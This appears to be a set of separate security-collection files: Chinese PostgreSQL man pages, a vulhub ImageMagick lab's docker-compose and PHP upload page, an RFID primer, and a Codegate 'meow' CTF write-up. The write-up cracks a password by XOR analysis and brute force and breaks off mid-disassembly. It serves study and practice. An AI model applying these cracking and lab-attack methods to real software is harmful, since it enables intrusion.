这个参数是通过传递 -D 命令行选项或者 \fBPGDATA\fR 环境变量实现的,没有缺省值。 一个系统上同时可以运行几个 postmaster 进程, 只要他们使用不同的数据区和不同的端口号(见下文)。 一个数据区是用 \fBinitdb\fR(1) 创建的。 .SH "OPTIONS 选项" .PP \fBpostmaster\fR 接受下列命令行参数。 关于这些选项的更详细的讨论请参考 Section 16.4 ``Run-time Configuration''。你也可以通过设置一个配置文件来减少敲击这些选项。 .TP \fB-A 0|1\fR 打开运行时断言检查,是检测编程错误的调试帮助。 只有在编译时打开了它,你才能使用它。如果编译时打开了,缺省是打开。 .TP \fB-B \fInbuffers\fB\fR 为服务器进程分配和管理的共享内存缓冲区数量。此值缺省为 64 个缓冲区,每个缓冲区是 8k 字节。 .TP \fB-c \fIname\fB=\fIvalue\fB\fR 设置一个命名的运行时参数。参考 Section 16.4 ``Run-time Configuration'' 获取列表和描述。 大多数其他命令行选项实际上都是这样的参数赋值的短形式。 -c 可以出现多次用以设置多个参数。 .TP \fB-d \fIdebug-level\fB\fR 设置调试级别。数值越高,写到服务器日志的调试输出越多。 数值范围是 1 到 5。 .TP \fB-D \fIdatadir\fB\fR 声明数据目录的文件系统路径。参阅上文的讨论。 .TP \fB-F\fR 关闭 fsync 调用,提高性能,但是要冒系统崩溃时数据毁坏的风险。 这个选项对应于在 postgresql.conf 中设置 fsync=false。在使用之前阅读详细文档! \fB--fsync=true\fR 有着这个选项的反面效果。 .TP \fB-h \fIhostname\fB\fR 声明 postmaster 侦听着等待来自前端应用联接的 TCP 主机名或地址。 它缺省侦听所有配置了的地址(包括 localhost)。 .TP \fB-i\fR 这个选项打开 TCP/IP (网际域套接字)通讯。 没有这个选项,只能进行本地 Unix 域套接字通讯。 这个选项等效于在 postgresql.conf 中设置 tcpip_socket=true。 \fB--tcpip-socket=false\fR 是这个选项的相反的作用。 .TP \fB-k \fIdirectory\fB\fR 指定 \fBpostmaster\fR 侦听等待来自前端应用联接的 Unix 域套接字的位置。 缺省通常是 /tmp,但是可以在编译的时候修改。 .TP \fB-l\fR 这个选项打开用 SSL 进行的安全通讯。同样还需要 -i 选项。要使用这个选项,编译时你必须打开了 SSL 选项。 .TP \fB-N \fImax-connections\fB\fR 设置postmaster允许启动的服务器服务器的最大数目。缺省配置时,该值为 32, 如果你的系统能支持更多进程,该值最大可以设置为你的系统所能支持的极限。 时修改(参阅 src/include/config.h)。 (请注意 -B 选项要求至少是两倍 -N。参阅 Section 16.5 ``Managing Kernel Resources'' 获取有关大客户量的系统资源需求的信息。) .TP \fB-o \fIextra-options\fB\fR 在 extra-options 里声明的 postgres 选项都传递给所有由这个 postmaster 启动的服务进程。 参阅 \fBpostgres\fR(1) 获取可能选项。 如果选项字串包含任何空白,整个字串必须引起来。 .TP \fB-p \fIport\fB\fR 指定 \fBpostmaster\fR 侦听着等待客户端应用连接的互联网 TCP/IP 端口或一个本地 Unix 域套接字文件扩展(描述符)。 缺省的端口号是环境变量 PGPORT 的值。如果没有设置 PGPORT 缺省是 PostgreSQL 编译时建立的值(通常是 5432)。 如果你声明了一个非缺省端口,那么所有前端应用(包括 psql)都必须用命令行选项或者 PGPORT 声明同一个端口。 .TP \fB-S\fR 指明 postmaster 进程将以安静模式启动。也就是说, 它将与用户的(控制)tty 脱离并且启动其自身的进程组。 并且它把标准输出和标准错误重定向到 \fI/dev/null\fR。 使用这个开关会将日志输出都丢弃,可能不是你希望的, 因为这样令错误查找非常困难。参阅下文获取一个在后台启动 postmaster 的更好的方法。 \fB--silent-mode=false\fR 的作用和这个选项的效果正好相反。 .TP \fB--\fIname\fB=\fIvalue\fB\fR 设置一个命名的运行时参数;其缩写形式是 \fB-c\fR。 .PP .PP 有两个额外的命令行选项可以用于调试导致服务器异常退出。 用于这种状况的一般策略是通知所有其它服务器必须退出, 然后重新初始化共享内存和信号灯。这是因为一个出错的服务器在退出前可能已经破坏了一些共享的状态。 这些选项控制这种环境下的 postmaster 的性质,而且没有哪个选项是为普通操作准备的。 .PP .PP 这些特殊选项是: .TP \fB-n\fR \fBpostmaster\fR 将不会重新初始化共享数据结构。 一个有经验的系统程序员这时就可以使用调试器检查共享内存和信号灯状态。 .TP \fB-s\fR \fBpostmaster\fR 将通过发送信号SIGSTOP 停止所有其他服务器进程,但不会导致它们退出。 这样就允许系统程序员手工从所有服务器进程收集倾倒的核心(core dumps)。 .PP .SH "ENVIRONMENT 环境" .TP \fBPGCLIENTENCODING\fR 客户端使用的确缺省字符编码。(客户端可以独立地覆盖这个。)这个值也可以在配置文件里设置。 .TP \fBPGDATA\fR 缺省数据目录位置 .TP \fBPGDATESTYLE\fR 运行时参数datestyle的缺省值。(不再建议使用环境变量) .TP \fBPGPORT\fR 缺省端口(最好在配置文件中设置) .TP \fBTZ\fR 服务器时区 .TP \fB其它\fR 其它环境变量可以用于指定可选地数据存储位置。参阅 Section 18.5 ``Managing Databases'' 获取更多信息。 .SH "DIAGNOSTICS 诊断" .PP 一个提到了 semget 或者 shmget 的错误信息可能意味着你需要配置你的内核, 提供足够的共享内存和信号灯。更多讨论,参阅 Section 16.5 ``Managing Kernel Resouces'' 。 .sp .RS .B "Tip:" 提示: 你也可以通过降低 shared_buffers 的参数以减少 PostgreSQL的共享内存的消耗, 或者降低max_connections的参数减少PostgreSQL的信号灯的消耗, 以此可以推迟重新配置内核。 .RE .sp .PP 如果是一个说另外一个 postmaster 正在运行的错误信息,那你应该确保没有其他的 postmaster 进程正在运行。判断这个情况的最简单的办法是使用命令 .sp .nf $ \fBps ax | grep postmaster\fR .sp .fi 或 .sp .nf $ \fBps -ef | grep postmaster\fR .sp .fi 具体使用哪种取决于你的系统。如果确信没有冲突的 postmaster 在运行,那么你可以删除消息里提到的锁文件然后再次运行。 .PP 一个说无法绑定端口的错误信息可能表明该端口已经背其它非 PostgreSQL 进程使用。 如果你终止postmaster后又马上用同一个端口运行它,你也有可能得到这个错误信息; 这时,你必须多等几秒,等操作系统关闭了该端口后再试。 最后,如果你使用了一个操作系统认为是保留的端口,也可能导致这个错误信息。 例如,我的 Unix 版本认为低于 1024 的端口号是"可信任的",因而只有 Unix 超级用户可以使用它们。 .SH "NOTES 注意" .PP 如果有可能,\fB不要\fR使用 SIGKILL杀死 postmaster。 这样会阻止 postmaster在退出前释放它持有的系统资源(例如共享内存和信号灯)。 .PP 要正常结束 postmaster,可以使用信号 SIGTERM,SIGINT, 或 SIGQUIT。 第一个信号将等待所有的客户端退出后才退出。 第二个将强制断开所有客户端,而第三个将不停止立刻退出, 导致在重起时的恢复运行。 .PP 工具命令 \fBpg_ctl\fR(1) 可以用于安全而有效地启停 postmaster。 .PP 选项 \fB--\fR 在FreeBSD或者 OpenBSD上无法运行。 应该用 -c。这在受影响的系统里是个臭虫; 如果这个毛病没有修补好,将来的 PostgreSQL 版本将提供一个绕开的办法。 .SH "EXAMPLES 例子" .PP 用缺省值在后台启动postmaster,键入: .sp .nf $ \fBnohup postmaster >logfile 2>&1 </dev/null &\fR .sp .fi .PP 以指定的端口启动 postmaster: .sp .nf $ \fBpostmaster -p 1234\fR .sp .fi 这条命令将在端口 1234 启动 postmaster。 为了用psql与这个 postmaster 联接, 你应该这么运行 psql run it as .sp .nf $ \fBpsql -p 1234\fR .sp .fi 或者设置环境变量 PGPORT: .sp .nf $ \fBexport PGPORT=1234\fR $ \fBpsql\fR .sp .fi .PP 命名的运行时参数可以用下列的风格之一设置: .sp .nf $ \fBpostmaster -c sort_mem=1234\fR $ \fBpostmaster --sort-mem=1234\fR .sp .fi 两种形式都覆盖那些现有的在 postgresql.conf 里面的 sort_mem 的设置。 请注意在参数名里的下划线在命令行上可以写成下划线,也可以写成划线。 .sp .RS .B "Tip:" 提示: 除了用于短期的实验以外,更好的习惯是编辑放在 postgresql.conf 里面的设置, 而不是倚赖命令行开关设置参数。 .RE .sp .SH "SEE ALSO 参见" .PP \fBinitdb\fR(1), \fBpg_ctl\fR(1) .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "LOAD" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME LOAD \- 装载或重载一个共享库文件 .SH SYNOPSIS .sp .nf LOAD '\fIfilename\fR' .sp .fi .SH "DESCRIPTION 描述" .PP 这个命令装载一个共享库文件到PostgreSQL服务器的地址空间。 一旦一个文件被装载,如果该文件前面曾经装载过,那么服务器首先会卸载它。 这条命令主要用于在一个共享库件修改后卸载和重载它。 要利用这个共享库件,我们必须用 CREATE FUNCTION [\fBcreate_function\fR(7)] 命令声明函数。 .PP 文件名是和 CREATE FUNCTION [\fBcreate_function\fR(7)] 里描写的共享库的名字相同方法声明的; 特别要注意等是我们可以依赖搜索路径和自动附加系统标准共享库扩展名的特点。 参阅 Section 31.3 ``User-Defined Functions'' 获取更多细节。 .SH "COMPATIBILITY 兼容性" .PP \fBLOAD\fR 是 PostgreSQL 扩展。 .SH "SEE ALSO 参见" .PP CREATE FUNCTION [\fBcreate_function\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
version: '2' services: web: image: vulhub/imagemagick:7.1.0-39-php command: php -t /var/www/html -d error_reporting=-1 -d display_errors=On -S 0.0.0.0:8080 volumes: - ./web:/var/www/html ports: - "8080:8080"
sec-knowleage
# RFID基础知识 > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [r0fus0d](https://github.com/No-Github) --- ## 简介 RFID 英文全称 Radio Frequency Identification, 射频识别, 又称电子标签, 无线射频识别, 感应式电子晶片, 近接卡、感应卡、非接触卡、电子条码。 RFID 射频识别是一种非接触式的自动识别技术, 它通过射频信号自动识别目标对象并获取相关数据, 识别工作无须人工干预, 可工作于各种恶劣环境. RFID 技术可识别高速运动物体并可同时识别多个标签, 操作快捷方便. 短距离射频产品不怕油渍、灰尘污染等恶劣的环境, 可在这样的环境中替代条码, 例如用在工厂的流水线上跟踪物体. 长距射频产品多用于交通上, 识别距离可达几十米, 如自动收费或识别车辆身份等。 --- ## RFID 构成 RFID的基本组成由三部分组成: 标签(Tag):由耦合元件及芯片组成,每个标签具有唯一的电子编码,附着在物体上标识目标对象; 阅读器(Reader):读取(有时还可以写入)标签信息的设备,可设计为手持式或固定式; 天线(Antenna):在标签和读取器间传递射频信号(无论是阅读器还是射频卡片都带天线)。 --- ## 射频卡 ### 非接触式IC卡(高频) 非接触式 IC 卡又称射频卡,由 IC 芯片、感应天线组成,封装在一个标准的 PVC 卡片内,芯片及天线无任何外露部分。 是世界上最近几年发展起来的一项新技术, 它成功的将射频识别技术和 IC 卡技术结合起来, 结束了无源 (卡中无电源) 和免接触这一难题, 是电子器件领域的一大突破. 卡片在一定距离范围(通常为 5—10mm)靠近读写器表面,通过无线电波的传递来完成数据的读写操作。 1. 非接触性 IC 卡与读卡器之间通过无线电波来完成读写操作。二者之间的通讯频为 13.56MHZ。非接触性 IC 卡本身是无源卡,当读写器对卡进行读写操作是,读写器发出的信号由两部分叠加组成:一部分是电源信号,该信号由卡接收后,与本身的 L/C 产生一个瞬间能量来供给芯片工作。另一部分则是指令和数据信号,指挥芯片完成数据的读取、修改、储存等,并返回信号给读写器, 完成一次读写操作。读写器则一般由单片机,专用智能模块和天线组成,并配有与 PC 的通讯接口,打印口,I/O 口等,以便应用于不同的领域。 2. 非接触性智能卡内部分区为两部分:系统区(CDF)用户区(ADF) - 系统区:由卡片制造商和系统开发商及发卡机构使用。 - 用户区:用于存放持卡人的有关数据信息。 3. 与接触式 IC 卡相比较, 非接触式卡具有以下优点: - 可靠性高非接触式 IC 卡与读写器之间无机械接触,避免了由于接触读写而产生的各种故障。例如:由于粗暴插卡,非卡外物插入,灰尘或油污导致接触不良造成的故障。 此外, 非接触式卡表面无裸露芯片,无须担心芯片脱落,静电击穿,弯曲损坏等问题,既便于卡片印刷,又提高了卡片的使用可靠性。 - 操作方便,由于非接触通讯,读写器在 10CM 范围内就可以对卡片操作,所以不必插拨卡,非常方便用户使用。非接触式卡使用时没有方向性,卡片可以在任意方向掠过读写器表面,既可完成操作,这大大提高了每次使用的速度。 - 防冲突,非接触式卡中有快速防冲突机制, 能防止卡片之间出现数据干扰,因此,读写器可以 “同时” 处理多张非接触式 IC 卡。这提高了应用的并行性,, 无形中提高系统工作速度。 - 可以适合于多种应用,非接触式卡的序列号是唯一的,制造厂家在产品出厂前已将此序列号固化, 不可再更改。非接触式卡与读写器之间采用双向验证机制,即读写器验证 IC 卡的合法性,同时 IC 卡也验证读写器的合法性。非接触式卡在处理前要与读写器之间进行三次相互认证,而且在通讯过程中所有的数据都加密。此外,卡中各个扇区都有自己的操作密码和访问条件。接触式卡的存储器结构特点使它一卡多用,能运用于不同系统,用户可根据不同的应用设定不同的密码和访问条件。 - 加密性能好,非接触式 IC 卡由 IC 芯片, 感应天线组成, 并完全密封在一个标准 PVC 卡片中, 无外露部分。非接触式 IC 卡的读写过程, 通常由非接触型 IC 卡与读写器之间通过无线电波来完成读写操作。非接触型 IC 卡本身是无源体, 当读写器对卡进行读写操作时, 读写器发出的信号由两部分叠加组成:一部分是电源信号,该信号由卡接收后, 与其本身的 L/C 产生谐振, 产生一个瞬间能量来供给芯片工作。另一部分则是结合数据信号,指挥芯片完成数据、修改、存储等, 并返回给读写器。由非接触式 IC 卡所形成的读写系统, 无论是硬件结构, 还是操作过程都得到了很大的简化, 同时借助于先进的管理软件,可脱机的操作方式,都使数据读写过程更为简单。 --- ### 非接触式ID卡(低频或高频) ID 卡即为 THRC12/13 只读式非接触 IC 卡,它靠读卡器感应供电并读出存储在芯片 EEPROM 中的唯一卡号,卡号在封卡前一次写入,封卡后不能更改。无源和免接触是该芯片两个最突出的特点,射频接口电路是关键的核心技术,它从读卡器接收射频能量,为芯片产生电源和时钟,并采用相移键控和加载调幅等技术实现卡与读卡器间的无线通讯。非接触式 ID 卡具有操作方便、快捷、可靠等突出优点,获得了广泛应用。 ID 卡主要特点 - 载波频率为 125KHZ(THRC12)或 13.56MHZ(THRC13); - 卡向读卡器传送数据的调制方式为加载调幅; - 卡内数据编码采用抗干扰能力强的 BPSK 相移键控方式; - 卡向读卡器数据传送速率为 3.9kbps(THRC12)或 6.62kbps(THRC13); - 数据存储采用 EEPROM,数据保存时间超过 10 年; - 数据存储容量共 64 位,包括制造商、发行商和用户代码; - 卡号在封卡前写入后不可再更改,绝对确保卡号的唯一性和安全性; - THRC13 芯片除封装成标准卡片形状外,还可根据应用需要封装成筹码等多种形状。 **ID卡应用范围** 与接触式 IC 卡相比,非接触式 ID 卡无需插拔卡,避免了由于机械接触不良导致的各种故障,因而具有操作方便、快捷、可靠、寿命长等突出优点,特别适用于人流量大的场合。THRC12/13 非接触式 ID 卡主要可应用于身份识别和寻址控制,如门禁、保安、考勤等领域,也可扩展应用到展览会、公园、旅店、餐厅等公共场所的门票、优惠卡等。以及生产过程、邮政包裹、航空铁路运输、产品包装、交通等部门的物流、电子标签、防伪标志、一次性票证等众多领域。虽然它仅是一种只读卡,但利用后台计算机控制管理,即使是涉及收费管理的问题也可以在一定范围应用,如食堂就餐收费管理等。针对具体应用,可将持卡人的个人资料送入后台计算机,建立数据库并配置应用软件,使用时通过读卡器将读到的卡号送至后台计算机,从数据库中调出持卡人的个人资料,而后根据具体应进行操作,因而应用范围极其广阔。 ### 常用的RFID卡类型 --- ## 读写器 读写器主要功能 - 读取电子标签中储存的信息 - 向电子标签中写入信息 - 修改电子标签中的信息 电子标签与 RFID 读写器之间通过耦合元件实现射频信号的空间(无接触)耦合、在耦合通道内,根据时序关系,实现能量的传递、数据的交换。 发生在阅读器和电子标签之间的射频信号的耦合类型有两种。 电感耦合:变压器模型,通过空间高频交变磁场实现耦合,依据的是电磁感应定律。 电磁反向散射耦合:雷达原理模型,发射出去的电磁波,碰到目标后反射,同时携带回目标信息,依据的是电磁波的空间传播规律。 工作时 RFID 读写器发出查询信号,RFID 标签收到后,将信号的一部分能量用于标签内部工作电源,另一部分信号经过 RFID 标签内部电路调制后反射回 RFID 读写器。
sec-knowleage
<?php if (!empty($_FILES)): // Check for errors if($_FILES['file_upload']['error'] > 0){ die('An error ocurred when uploading.'); } if(!getimagesize($_FILES['file_upload']['tmp_name'])){ die('Please ensure you are uploading an image.'); } // Check filetype if(stripos($_FILES['file_upload']['type'], 'image/') !== 0){ die('Unsupported filetype uploaded.'); } // Check filesize if($_FILES['file_upload']['size'] > 500000){ die('File uploaded exceeds maximum upload size.'); } // Check filesize if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) { die('File is not uploaded file'); } $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) { die('Unsupported filetype uploaded.'); } $new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}"; if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){ die('Error uploading file - check destination is writeable.'); } die('File uploaded successfully: ' . $new_name); else: ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <?php endif;
sec-knowleage
# meow (RE/Crypto/Pwn 365) ###ENG Judging by points alone, this was most difficult challenge on the CTF - probably because of unusual mix of cryptography, RE and PWN. We are given strange binary, that asks us for a password and decrypts two chunks od data with it: ```asm lea rdi, aHello? ; "***** hello? *****\n>>> " mov eax, 0 call _printf mov rdx, cs:__bss_start ; stream lea rax, [rbp+s] mov esi, 0Bh ; n mov rdi, rax ; s call _fgets lea rax, [rbp+s] mov rdi, rax call check_md5 mov [rbp+var_1C], eax cmp [rbp+var_1C], 1 jnz short ok lea rdi, aSorryBye ; "Sorry, bye!" call _puts mov edi, 0 ; status call _exit ; --------------------------------------------------------------------------- ok: ``` and `check_md5` is: ```asm check_md5 proc near ; CODE XREF: main+152 var_98 = qword ptr -98h var_90 = byte ptr -90h s2 = byte ptr -30h var_28 = qword ptr -28h s1 = byte ptr -20h var_4 = dword ptr -4 push rbp mov rbp, rsp sub rsp, 0A0h mov [rbp+var_98], rdi mov [rbp+var_4], 0 mov rax, 618F652224A9469Fh mov qword ptr [rbp+s2], rax mov rax, 14B97D8EE7DE0DA8h mov [rbp+var_28], rax lea rax, [rbp+var_90] mov rdi, rax call _MD5_Init mov rcx, [rbp+var_98] lea rax, [rbp+var_90] mov edx, 0Ah mov rsi, rcx mov rdi, rax call _MD5_Update lea rdx, [rbp+var_90] lea rax, [rbp+s1] mov rsi, rdx mov rdi, rax call _MD5_Final lea rcx, [rbp+s2] lea rax, [rbp+s1] mov edx, 10h ; n mov rsi, rcx ; s2 mov rdi, rax ; s1 call _strncmp test eax, eax jz short loc_1460 mov eax, 1 jmp short locret_1465 ; --------------------------------------------------------------------------- loc_1460: ; CODE XREF: check_md5+92 mov eax, 0 locret_1465: ; CODE XREF: check_md5+99 leave retn check_md5 endp ``` So this binary is computing md5 hash of our input, and compares it to hardcoded value. Of course we expected that this md5 will be easily crackable, or at least in some online database. This turned out not to be the case - it was impossible to crack this hash (at least with our budget, we're not NSA). Even though the password has only 10 characters, so it's not very strong. So we looked further - what does this program do with our password later? This is more readable in C: ```c decrypt(&first_chunk, &our_password, first_len); decrypt(&second_chunk, &our_password, second_len); qmemcpy_(&blob_1, v17, first_len, &first_chunk); qmemcpy_(&blob_2, v16, second_len, &second_chunk); ``` And later, main function of program: ```c __int64 sub_C45() { int v1; // [sp+Ch] [bp-4h]@1 v1 = 1; puts("- What kind of pet would you like to have?\n- Select the number of pet!"); printf("1. angelfish\n2. bear\n3. cat\n4. dog\n5. I don't want pets\n# number = "); __isoc99_fscanf(_bss_start, "%1d", &v1); if ( v1 <= 0 || v1 > 5 ) { puts("*** bad number ***"); exit(0); } switch ( v1 ) { case 1: sub_C00(); break; case 2: sub_C17(); break; case 3: blob_1(); // <- here break; case 4: sub_C2E(); break; case 5: exit(0); break; } return 0LL; } ``` So this program decrypts code with our password, and executes it! This gives us some possiblities, but not much - for example, we can guess prologue and epilogue of function. Now let's look at encryption. We reimplemented it in python as follows: ```python def decrypt_chunks(data, passw, k, sd, s0, st): """ encrypt chunks with size k start with [s0 bytes from front] [k-s0 bytes from back] start with s=s0 after every round add sd to s when s == st, change s to s0 again """ buff = [0] * 16 split = s0 of = 0 ob = len(data) for i in range(len(data) / k): for j in range(split): buff[j] = data[j + of] for j in range(k - split): buff[j + split] = data[split + ob - k + j] for j in range(k): buff[j] ^= passw[j] for j in range(split): data[j + of] = buff[j + k - split] for j in range(k - split): data[split + ob - k + j] = buff[j] of += split ob -= k - split if split == st: split = s0 else: split += sd def decrypt(data, passw): pass1 = [passw[2*i+1] for i in range(5)] decrypt_chunks(data, passw, 7, 2, 3, 7) decrypt_chunks(data, pass1, 5, -1, 5, 1) decrypt_chunks(data, passw, 10, 1, 4, 8) decrypt_chunks(data, passw, 10, 1, 4, 8) ``` And encryption, because it's easy to guess knowing how to decrypt: ```python def encrypt_chunks(data, passw, k, sd, s0, st): """ encrypt chunks with size k start with [s0 bytes from front] [k-s0 bytes from back] start with s=s0 after every round add sd to s when s == st, change s to s0 again """ buff = [0] * 16 split = s0 of = 0 ob = len(data) for i in range(len(data) / k): for j in range(split): buff[j + k - split] = data[j + of] for j in range(k - split): buff[j] = data[split + ob - k + j] for j in range(k): buff[j] ^= passw[j] for j in range(split): data[j + of] = buff[j] for j in range(k - split): data[split + ob - k + j] = buff[j + split] of += split ob -= k - split if split == st: split = s0 else: split += sd def encrypt(data, passw): pass1 = [passw[2*i+1] for i in range(5)] encrypt_chunks(data, passw, 10, 1, 4, 8) encrypt_chunks(data, passw, 10, 1, 4, 8) encrypt_chunks(data, pass1, 5, -1, 5, 1) encrypt_chunks(data, passw, 7, 2, 3, 7) ``` And that's basically all we know. We also have encrypted blobs: ```python data0 = """ F1 64 72 4A 4F 48 4D BA 77 73 1D 34 F5 AF B8 0F 24 56 11 65 47 A3 2F 73 A4 56 4F 70 4A 13 57 9C 3F 6F 06 61 40 90 AF 39 10 29 34 C3 00 7A 40 3D 4E 3F 0E 2A 2F 20 7F 73 89 7D 4B 1D 09 AA D0 00 21 89 4D 2A 67 7C 18 3B 39 F2 8D 1C A7 71 57 2E 31 14 67 48 3C 7D AF 70 AE 10 31 68 D1 26 05 C8 25 F2 62 F5 5D 38 34 F2 20 0E 7E 9F FB 57 72 26 57 67 15 10 15 13 B9 3E 79 89 5D 24 12 01 98 7B 18 25 E0 DF 7C 24 1B 2D 44 B0 10 3D 57 3D 62 B4 21 1D 3E D1 10 D7 45 74 96 2B 6D 3B ED 10 00 67 31 DF 6C B8 86 1A 7C 6B 64 78 C6 37 76 E6 61 A0 AD BE 4C BA A7 0D """.replace('\n', '').replace(' ', '').decode('hex') data1 = """ 08 4F FE AB 4E AA B4 03 4D 99 6E A1 48 D0 7D A2 E0 49 38 61 2D BC 5E 2C 5D 62 3F 89 C6 B8 5C 5A 4B 13 41 07 DF BF C2 29 07 64 14 25 32 00 73 69 2D 58 4B 76 15 29 2F A1 00 00 00 00 00 00 00 00 """.replace('\n', '').replace(' ', '').decode('hex') ``` That's the end of `RE` part (not very easy, but manageable), now comes `Crypto`. How can we decrypt the code, and second blob? Well, If we look at the "encrypt" function, it's just a lot of xors with password characters, and permuting order. What exactly is xored? Maybe it's possible to reverse it easily? Let's check. I used our SymbolicXor class (it's very useful in situations like this) ```python class SymbolicXor: def __init__(self, ops, const=0): if isinstance(ops, str): ops = [ops] self.ops = sorted(ops) self.const = const def __xor__(self, other): if isinstance(other, int): return SymbolicXor(self.ops, self.const ^ other) elif isinstance(other, SymbolicXor): return SymbolicXor(self.setxor(self.ops, other.ops), self.const ^ other.const) __rxor__ = __xor__ def setxor(self, a, b): out = list(a) for el in b: if el in out: out.remove(el) else: out.append(el) return out def __str__(self): if self.const == 0 and not self.ops: return '0' return '^'.join(str(c) for c in self.ops + ([self.const] if self.const else [])) __repr__ = __str__ def __eq__(self, oth): return self.ops == oth.ops and self.const == oth.const ``` And: ```python def make_sympad(syms): passw = [SymbolicXor('v'+str(i)) for i in range(16)] pad = map(ord, '\0' * syms) decrypt(pad, passw) return pad def permute(data): perm = map(ord, data) decrypt(perm, [0]*16) return ''.join(map(chr, perm)) def transform(data, maps): # pad - encrypted and permutted zeroes - so plain 'one time pad' generated from password pad = make_sympad(len(data)) # perm - permutation of encrypted data, so they are in original order perm = permute(data) out = '' for i in range(len(data)): a = pad[i] #print perm[i].encode('hex'), for con, sym in maps: if sym == a: #print chr(ord(perm[i]) ^ con).encode('hex'), a #print chr(ord(perm[i]) ^ con), a c = chr(ord(perm[i]) ^ con) if c not in string.printable: return None out += c break else: #print '?', a out += '?' return out ``` This allowed me to show all constraints, or rather answer the question `"what is this byte xored with"` ``` 00 ? v2^v5 aa ? v2^v3 48 ? v1^v8 d0 ? v3^v9 b4 ? v0^v3^v5^v9 00 ? v1^v3^v5^v6 00 ? v2^v5^v6^v7 4d ? v0^v3^v7^v8 00 ? v3^v4 5d ? v4^v8 62 ? v2^v3^v5^v9 a1 ? v0^v3^v5^v6 4f O 0 fe ? v8^v9 4e ? v1^v3^v7^v9 29 ? v3^v5 00 ? v4^v5^v7 13 ? v0^v5^v7^v8 89 ? v1^v4^v6^v9 a1 ? v0^v1^v4^v7 00 ? v1^v3^v5^v8 00 ? v2^v5^v6^v9 38 ? v0^v2^v4^v9 5a ? v1^v3^v5^v7 4b ? v2^v4^v6^v9 41 ? v1^v5^v7^v9 b8 ? v1^v8 32 ? v3^v6^v7^v9 2c ? v7^v8 61 a 0 76 ? v2^v5 07 ? v2^v3 25 ? v4^v5^v8^v9 29 ? v1^v5^v9 df ? v3^v9 73 ? v3^v5 69 ? v5^v6 c2 ? v0^v7 07 ? v0^v2^v6 64 ? v1^v3^v7 14 ? v2^v4^v8 bf ? v1^v3^v4^v9 58 ? v0^v1 4b ? v1^v3 3f ? v0^v2^v3^v5 2d ? v1^v7 2d ? v0^v2^v3^v7 bc ? v1^v3^v4^v9 15 ? v2^v3 08 ? v4^v9 2f ? v1^v3^v5^v9 c6 ? v2^v3^v5^v6 5c ? v0^v3^v5^v7 5e ? v0^v1^v4^v5 7d } 0 a2 ? v0^v2^v3^v7 e0 ? v1^v3^v5^v8 49 ? v2^v4^v7^v9 ab ? v5^v6 99 ? v1^v7 6e ? v3^v8 03 ? v1^v3^v4^v9 00 ? v0^v1 00 ? v1^v3 ``` First column: value in ciphertext Second column: plaintext byte, if known (known only if we're xoring with zero, of course) Third column: password chars we're xoring with (v0 = first char, v1 = second char, etc) Ok, it's something but not enough. In fact, this was very misleading, because we thought that this second encrypted blob is flag, or at least plaintext (all known bytes are printable)! This turned out not to be the case, and I wasted a lot of time, unfortunatelly. But to the point, I think word of explaination is due (i skipped a lot of things). What does this even do: ```python def make_sympad(syms): passw = [SymbolicXor('v'+str(i)) for i in range(16)] pad = map(ord, '\0' * syms) decrypt(pad, passw) return pad def permute(data): perm = map(ord, data) decrypt(perm, [0]*16) return ''.join(map(chr, perm)) def transform(data, maps): # pad - encrypted and permutted zeroes - so plain 'one time pad' generated from password pad = make_sympad(len(data)) # perm - permutation of encrypted data, so they are in original order perm = permute(data) ``` So, I knew that everything is just xoring - so in theory if I'll encrypt zeroes, I'll know exactly what gets xored with what (because of SymbolicXor class). But there is small problem, order of characters in ciphertext is permuted, so I had to create `permute` function that reverses that permutation (I know, not the best name). Going back to our ciphertexts - I discovered that if we decrypt both ciphertexts, they both have the same start and similar end. And because we know that first ciphertext is code, that means that second CT must be too. What can we do with this knowledge? A lot!. We assumed most standard prologue and epilogue, and came out with something like this (excuse non-standard notation) - for fragments that was the same in both ciphertexts: ``` ((0x55 ^ 0x0d), SymbolicXor(['v5', 'v2'])), # push rbp ((0x48 ^ 0x48), SymbolicXor(['v2', 'v3'])), # mov rbp, rsp ((0x89 ^ 0xf5), SymbolicXor(['v1', 'v8'])), ((0xe5 ^ 0xaf), SymbolicXor(['v3', 'v9'])), ((0x48 ^ 0x4d), SymbolicXor(['v0', 'v3', 'v5', 'v9'])), # lea rdi [stuff] ((0xa7 ^ 0xC3), SymbolicXor(['v1', 'v3'])), # ret at the end ``` This list means for example that `v5 ^ v2 == 0x55 ^ 0x0d`. So what? Well, by itself it's useless, but remember that we know md5 of whole password! So now we can intelligently bruteforce everything: ```python import hashlib import string charset = string.printable sought = '9F46A92422658F61A80DDEE78E7DB914'.decode('hex') for o1 in map(ord, charset): o3 = o1 ^ (0xa7 ^ 0xc3) o8 = o1 ^ (0x89 ^ 0xf5) o2 = o3 ^ (0x48 ^ 0x48) o5 = o2 ^ (0x55 ^ 0x0d) o9 = o3 ^ (0xe5 ^ 0xaf) o0 = o3 ^ o5 ^ o9 ^ (0x48 ^ 0x4d) v0 = chr(o0) v1 = chr(o1) v2 = chr(o2) v3 = chr(o3) v5 = chr(o5) v8 = chr(o8) v9 = chr(o9) for v4 in charset: for v6 in charset: for v7 in charset: passw = v0 + v1 + v2 + v3 + v4 + v5 + v6 + v7 + v8 + v9 if hashlib.md5(passw).digest() == sought: print passw ``` And... it worked! ``` $ ./brute $W337k!++y ``` Awesome, let's use it and get the flag: ``` ╰─$ ./meow.exe ***** hello? ***** >>> $W337k!++y - What kind of pet would you like to have? - Select the number of pet! 1. angelfish 2. bear 3. cat 4. dog 5. I don't want pets # number = 3 Did you choose a cat????? What type of cat would you prefer? '0' >>>0 fish: “./meow.exe” terminated by signal SIGSEGV (Address boundary error) ``` Wait, what? WTF codegate, where is my flag? Let's reverse what happened. This is decrypted function that gets called: ```asm sub_7FFF3A41CC70 proc near var_60= qword ptr -60h var_58= qword ptr -58h var_50= qword ptr -50h var_48= qword ptr 